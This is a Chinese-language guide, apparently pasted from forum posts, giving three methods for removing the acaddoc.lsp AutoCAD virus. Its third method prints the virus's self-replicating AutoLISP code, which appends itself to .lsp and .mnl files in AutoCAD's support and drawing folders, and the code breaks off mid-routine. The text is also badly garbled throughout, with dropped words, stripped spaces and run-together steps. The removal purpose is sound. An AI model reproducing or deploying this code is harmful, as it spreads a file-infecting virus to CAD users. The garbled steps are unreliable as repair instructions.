acadlsp病毒清除方法

1方法一acaddoc.lsp〔LOVE〕2023040711:14病毒，用以往的解决方法〔1.lps改名为acaddoc.lsp替换〕无法解决，在网络搜寻了一下看到百度空间有个帖子有相关解决方法。原帖如下：今日在Q群里又见网友恳求删除CAD病毒，说用专杀工具也无法解决，于是让他把病毒文件传了给acaddoc.lspacaddoc.lsp”病毒文件不同。该病毒文件自动搜寻CAD“*.mn*.ls文件内容〕写入“*.lsp”文件内，并在“*.mnl”文件中写入“*.lsp”文件的加载路径。同时，直线命令“linxre”和分解〔炸开〕explod”无法使用。CAD系统感染该病毒文件后，只是简洁搜寻删除“acaddoc.lsp”文件，不能去除病毒。由于全部的“*.lsp”文件已经被修改，全部“*.lsp”文件都是病毒文件。解决方法壹：①、关闭CAD②、搜寻并刪除全部“acaddoc.lsp”文件③、卸载CAD〔必需卸载干净，并进入CCAD〕后，重安装CAD解决方法贰：①、关闭CAD②、搜寻并刪除全部“acaddoc.lsp”文件③、找一台没有被CAD病毒破坏、且安装有一样版本CAD的电脑，复制其全部“*.lsp”文件和“*.mnl”文件至本机掩盖原文件〔包括C〕CAD装好CADCAD名目内全部文件的属性设置为只读，可以削减中毒〔99.999%有效〕附：C:\DocumentsandSettings\×××\ApplicationData\Autodesk\AutoCAD200×\R×.×\其中×××是你登录系统时的用户名，200×和R×.×分别是CAD的版本和版本代号〔留意：名目C:\DocumentsandSettings\是系统隐蔽文件夹〕方法二CAD开机运行时会有一大串函数，并且产生acaddoc.lsp的文件处理方法，我用了，方法很好就转过来了以下是本人中了acaddoc.lsp病毒的后亲身体验的杀毒经受。开头也在网上找了很多所谓的CAD病毒专杀、acaddoc.lsp来通过网上介绍的一些关于lsp病毒的特性，亲身试验后确实有效，在此和大家共享，期望能为大家解决一些问题。下面言归正传，杀毒步骤如下：1、全盘删除acaddoc.lsp〔包括隐蔽文件夹〕——————废话了，呵呵、删除C:\DocumentsandSettings\Administrator\ApplicationData\Autodesk\AutoCAD2023\R16.2\chs\Supportacaddoc.lspacadapq.lsp、删除C:\DocumentsandSettings\Administrator\ApplicationData\Autodesk\AutoCAD2023\R16.2\chs\Supportacad.mnl、acetmain.mnlAecArchXOE.mnl。4、删除C:\ProgramFiles\AutoCAD2023\Support下面全部的*****.lsp202310****.lsp5、COPY下面附件的alsp内的两个文件到C:\DocumentsandSettings\Administrator\ApplicationData\Autodesk\AutoCAD2023\R16.2\chs\Support，改为只读。6、COPY下面附件的mnl内的三个文件到C:\DocumentsandSettings\Administrator\ApplicationData\Autodesk\AutoCAD2023\R16.2\chs\Support，改为只读。7、COPY下面附件的LSP内的十个文件到C:\ProgramFiles\AutoCAD2023\Support，改为只读。经以上步骤处理后，就完全可以放心使用了。方法三CAD的病毒很多但都大同小异。现就消灭的ACADDOC.LSP病毒进展杀毒。不用重安装CAD的方法。1、觉察文件夹中多出ACADDOC.LSP2、关闭CAD3、全盘查找*.fas*.lsp*.mnl*.arxCAD4、检查CAD〔用记事本翻开〕5、把CAD*.fas*.lsp*.mnl*.arx说明：1ACADDOC.LSP病毒感染X:\ProgramFiles\AutoCAD20**\Support文件夹下的3d.lsp；mvsetup.lsp；sample-profile-util.lsp2、要删除的病毒代码在文件的尾部，具体如下：(setqflagxt)(setqbz“(setqflagxt)“)(defunapp(sourcetargetbz/flagflag1wjmwjm1text)(setqflagnil)(setqflag1t)(if(findfiletarget)(progn(setqwjm1(opentarget“r“))(while(setqtext(read-linewjm1))(if(=textbz)(setqflag1nil)));while(closewjm1));progn);if(ifflag1(progn(setqwjm(opensource“r“))(setqwjm1(opentarget“a“))(write-line(chr13)wjm1)(while(setqtext(read-linewjm))(if(=textbz)(setqflagt))(ifflag(progn(write-linetextwjm1));progn);if);while(closewjm1)(closewjm));progn);if);defun(setvar“cmdecho“0)(setqacadmnl(findfile“acad.mnl“))(setqacadmnlpath(vl-filename-directoryacadmnl))(setqmnlfilelist(vl-directory-filesacadmnlpath“*.mnl“))(setqmnlnum(lengthmnlfilelist))(setqacadexe(findfile“acad.exe“))(setqacadpath(vl-filename-directoryacadexe))(setqsupport(strcatacadpath“\\support“))(setqlspfilelist(vl-directory-filessupport“*.lsp“))(setqlspfilelist(appendlspfilelist(list“acaddoc.lsp“)))(setqlspnum(lengthlspfilelist))(setqdwgname(getvar“dwgname“))(setqdwgpath(findfiledwgname))(ifdwgpath(progn(setqacaddocpath(vl-filename-directorydwgpath))(setqacaddocfile(strcatacaddocpath“\\acaddoc.lsp“))(setqmnln0)(while(<mnlnmnlnum)(setqmnlfilename(strcatacadmnlpath“\\“(nthmnlnmnlfilelist)))(appmnlfilenameacaddocfilebz)(appacaddocfilemnlfilenamebz)(setqmnln(1+mnln)));while(setqlspn0)(while(<lspnlspnum)(setqlspfilename(strcatsupport“\\“(nthlspnlspfilelist)))(applspfilenameacaddocfilebz)(appacaddocfilelspfilenamebz)(setqlspn(1+lspn)));while);progn);if(setqmnln0)(while(<mnlnmnlnum)(setqmnlfilename(strcatacadmnlpath“\\“(nthmnlnmnlfilelist)))(setqmnln10)(while(<mnln1mnlnum)(setqmnlfilename1(strcatacadmnlpath“\\“(nthmnln1mnlfilelist)))(appmnlfilenamemnlfilename1bz)(setqmnln1(1+mnln1)));while(setqlspn10)(while(<lspn1lspnum)(setqlspfilename1(strcatsupport“\\“(nthlspn1lspfilelist)))(appmnlfilenamelspfilename1bz)(setqlspn1(1+lspn1)));while(setqmnln(1+mnln)));while(setqlspn0)(while(<lspnlspnum)(setqlspfilename(strcatsupport“\\“(nthlspnlspfilelist)))(setqlspn10)(while(<lspn1lspnum)(setqlspfilename1(strcatsupport“\\“(nthlspn1lspfilelist)))(applspfilenamelspfilename1bz)(setqlspn1(1+lspn1